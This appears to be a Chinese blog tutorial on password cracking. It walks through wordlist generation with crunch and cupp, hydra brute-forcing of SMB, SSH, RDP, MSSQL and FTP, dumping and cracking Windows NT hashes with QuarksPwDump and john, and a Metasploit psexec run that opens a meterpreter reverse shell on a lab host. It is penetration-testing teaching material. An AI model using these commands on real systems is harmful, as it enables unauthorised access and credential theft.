044 口令破解

一:口令安全概述

现在很多地方都以用户名(账号)和口令(密码)做为鉴权的方式,口令就意味着访问权限。口令就相当于进入家门的钥匙,当他人有一把可以进入你家的钥匙,想想你的安全,你的财务,隐私。。。例如:网站后台,数据库,服务器,个人电脑,QQ,邮箱等。
 

二:口令安全现状

弱口令
类似于123456,654321,admin123等这样常见的弱密码

默认口令
很多应用或者系统都存在默认口令。比如phpstudy的mysql数据库默认账号密码:【root/root】,Tomcat:【tomcat/tomcat】等。

明文传输
比如http|ftp|telnet等服务,在网络中传输的数据流都是明文的,包括口令认证消息等。这样的服务,有被嗅探的风险。

 

三:破解方式

3.1:在线破解方式

在线破解方式:账密需要认证
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
工具:hydra

 

3.2:离线破解方式

离线破解方式:密文还原成明文的过程
 

3.3:暴力破解

利用所有可能的字符组成密码,去尝试破解。最原始粗暴的破解方法
 

3.4:字典破解

如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅降低爆破的成本。我们把筛选出的密码组合成特定的字典,在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码。
 

3.4.1:密码字典的分类——弱口令字典

简单的字符组成
 

3.4.2:密码字典的分类——社工字典

人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”。
社工字典更具有针对性,准确率也比较高。
我们可以根据个人信息生成密码字典,可以使用cupp工具。国外人开发的,密码组合的习惯可能与国内人有区别
apt-get update
apt-get install cupp
cupp -i
 

3.4.3:密码字典的分类——字符集字典

如果能确定密码的字符集合,也将大大降低爆破的成本。
kali的字典生成器crunch
	crunch是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。使用crunch工具生成
	的密码可以输出到屏幕,保存文件或另一个程序。尤其在渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,
	对整个渗透测试流程起着十分重要的作用。
	安装:
		基础环境
		kali2021
		下载地址
		https://sourceforge.net/projects/crunch-wordlist/
		kali
		crunch为kali自带的工具。以下命令均在kali下直接运行。
	查看帮助
		man crunch
	命令格式:
		crunch <min-len> <max-len> [<charset string>] [options]
	参数说明:
		min-len			设定最小字符串长度(必选)
		max-len			设定最大字符串长度(必选)
		charset string	字符集
		options:
		-b			指定文件输出的大小,避免字典文件过大
		-c			指定文件输出的行数,即包含密码的个数
		-d			限制相同元素出现的次数
		-e			定义停止字符,即到该字符串就停止生成
		-f			调用库文件(/usr/share/crunch/charset.lst)
		-i			改变输出格式,即aaa,aab  ->  aaa,bba
		-l			通常与-t联合使用,表明该字符为实义字符,是什么字符就输出什么字符,不经过转义
		-m			通常与-p搭配
		-o			将密码保存到指定文件
		-p			指定元素以组合的方式进行
		-q			读取密码文件,即读取pass.txt
		-r			定义从某一个字符串重新开始
		-s			指定一个开始的字符,即从自己定义的密码xxxx开始
		-t			指定密码输出的格式
		-u			禁止打印百分比(必须为最后一个选项)
		-z			压缩生成的字典文件,支持gzip,bzip2,lzma,7z
	特殊字符
		%			代表数字
		^			代表特殊符号
		@			代表小写字母
		,			代表大写字母
	查看库文件
		cat /usr/share/crunch/charset.lst
	密码字典
		生成密码字典
			生成1-8位密码字典,字符集合为小写字母,从a开始到zzzzzzzz结束
				crunch 1 8
			生成1-6位密码字典,字符集合为abcdefg,从a开始到gggggg结束
				crunch 1 6 abcdefg
			生成3位密码字典,字符集合位[ab ],从a开始到[ b]结束。
			生成指定字符串,比如生日的日期
				crunch 8 8 -t 199307%% -e 19930730			这里的%是代表数字
			生成元素的组合,比如123.com
				crunch 7 7 -t %%%.com -s 111.com -e 123.com		-t 指定密码的输出格式,这里的%是代表数字,-s 从111.com开始,-e 到123.com结束
			在字典中输出特殊字符
				crunch 3 3 abc -t @@@ -l @aa
			以元素组合生成字典
				zhangsan|1993|0701
				crunch 4 4 -p ajest 1992 0701
		保存字典文件
			crunch 11 11 -t 1700010%%%% -b 20mb -o START
		自定义字符集合
			将自带字典文件进行备份
			创建自定义字符集合
			使用自定义字符集合生成[*.com]字典文件
			crunch 5 5 -f charset.lst test -t @.com			-f调用charset.ls这个库文件,里面的名称为test的字符集

 

四:平常可以收集的字典

子域名字典
默认账号密码字典
文件路径字典
常用变量名字典
常用文件名字典
弱口令字典
 

五:口令破解

5.1 windows口令远程爆破

hydra -l administrator -P ../dic/pwd.dic 172.16.132.163 smb
参数:
	-l				指定一个用户名
	-L				指定一个用户字典
	-p(小写)		指定一个密码
	-P(大写)		指定密码字典
	-vV				显示爆破细节
	-o				保存爆破结果
	-f				找到正确的密码就停止爆破
	-e
		n			null
		s			same
		r			反向
	-t				线程数

 

5.2 windows账号hash值破解

除了可以从远程爆破windows密码,我们还可以在本地破解windows密码。本地windows账户破解主要有两种方式。
1:从内存中读取windows密码:我们可以是用getpass直接从windows系统内存中读取用户密码
	使用方法:
		以管理身份运行cmd,把getpass.exe拖进cmd这个黑乎乎的窗口中,直接回车即可查看内存中的账号密码
2:windows hash值破解:windows hash值破解一共需要两步操作。首先我们使用QuarksPwDump工具读取(导出)windows
	账号密码hash值,然后再使用john工具破解
		使用方法:
			以管理员身份运行cmd:
			C:\Users\Administrator>C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o C:\Users\Administrator\Desktop\win2008.hash.txt
			其中:-dhl --> dump-hash-local  -t --> output-type  会把密码的hash值保存在win2008.hash.txt文件中
				win2008.hash.txt内容如下:
					k8h3d:1001:AAD3B435B51404EEAAD3B435B51404EE:956C4D54024AA66D13C4856AF004EB52:::
					Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
					Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942:::
			查看QuarksPwDump属性:可以把QuarksPwDump.exe拖进cmd这个黑乎乎的窗口中,直接回车,然后背景色会变成蓝色,并且可以看到QuarksPwDump的具体属性。
			然后把win2008.hash.txt这个文件放入到kali中,路径为:/usr/share/john/win2008.hash.txt
			运行命令 john win2008.hash.txt --show --format=NT 就能得到结果。
			结果如下:
				┌──(root💀kali)-[/usr/share/john]
				└─# john win2008.hash.txt --show --format=NT
				Guest::501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
				Administrator:123.com:500:AAD3B435B51404EEAAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942:::

 

5.3 linux口令破解

也分为远程破解与本地破解。

远程破解主要是爆破ssh服务,属于在线密码攻击。
本地破解需要拿到linux的shadow文件,进行hash值破解,属于离线密码攻击。

破解ssh服务
我们使用hydra攻击破解ssh服务,hydra攻击已经自动集成在kali虚拟机中。命令如下:
hydra -l root -P /tmp/dic/winpassword.dic ssh://10.157.12.151 -vV -o 127.ssh

本地shadow文件破解
我们可以使用john工具,破解shadow密码文件。
john也是自动集成在kali中。john破解的时候也需要准备一个字典。
命令:john shadow
使用方法:我们可以把kali的shadow复制到john目录下:然后john shadow

 

5.4 网络服务口令破解

在渗透测试中,我们同样会对各种服务的口令进行审计。

破解MSSQL口令
hydra -l sa -P /root/ic/test_pwd.dic 10.10.20.87 mssql -vV

破解RDP口令
hydra -l administrator -P /root/dic/test_pwd.dic 10.10.20.75 rdp -vV

破解FTP口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 10.10.20.87 ftp -vV

 

六:MSF-SMB源码

已知SMB账密,远程连接windows系统并执行命令。

┌──(root💀kali)-[~]
└─# msfconsole
												  

	  .:okOOOkdc'           'cdkOOOko:.
	.xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
	oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
	 lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
	  ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
	   .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
		 ,kOl'M.OOOOOOOOOOOOO.M'dOk,                                                                        
		   :kk;.OOOOOOOOOOOOO.;Ok:                                                                          
			 ;kOOOOOOOOOOOOOOOk:                                                                            
			   ,xOOOOOOOOOOOx,                                                                              
				 .lOOOOOOOl.                                                                                
					,dOd,                                                                                   
					  .                                                                                     

	   =[ metasploit v6.0.30-dev                          ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use help <command> to learn more 
about any command

msf6 > use exploit/windows/smb/
use exploit/windows/smb/generic_smb_dll_injection
use exploit/windows/smb/group_policy_startup
use exploit/windows/smb/ipass_pipe_exec
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms06_070_wkssvc
use exploit/windows/smb/ms07_029_msdns_zonename
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
use exploit/windows/smb/ms10_061_spoolss
use exploit/windows/smb/ms15_020_shortcut_icon_dllloader
use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue_win8
use exploit/windows/smb/ms17_010_psexec
use exploit/windows/smb/netidentity_xtierrpcpipe
use exploit/windows/smb/psexec
use exploit/windows/smb/smb_delivery
use exploit/windows/smb/smb_doublepulsar_rce
use exploit/windows/smb/smb_relay
use exploit/windows/smb/timbuktu_plughntcommand_bof
use exploit/windows/smb/webexec
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                                  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.152.130  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > set rhosts 192.168.152.132
rhosts => 192.168.152.132
msf6 exploit(windows/smb/psexec) > set lhost 192.168.152.130
lhost => 192.168.152.130
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass 123.com
smbpass => 123.com
msf6 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.152.130:4444 
[*] 192.168.152.132:445 - Connecting to the server...
[*] 192.168.152.132:445 - Authenticating to 192.168.152.132:445 as user 'administrator'...
[*] 192.168.152.132:445 - Selecting PowerShell target
[*] 192.168.152.132:445 - Executing the payload...
[+] 192.168.152.132:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 192.168.152.132
[*] Meterpreter session 1 opened (192.168.152.130:4444 -> 192.168.152.132:52765) at 2022-02-21 08:57:49 -0500

meterpreter > 


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值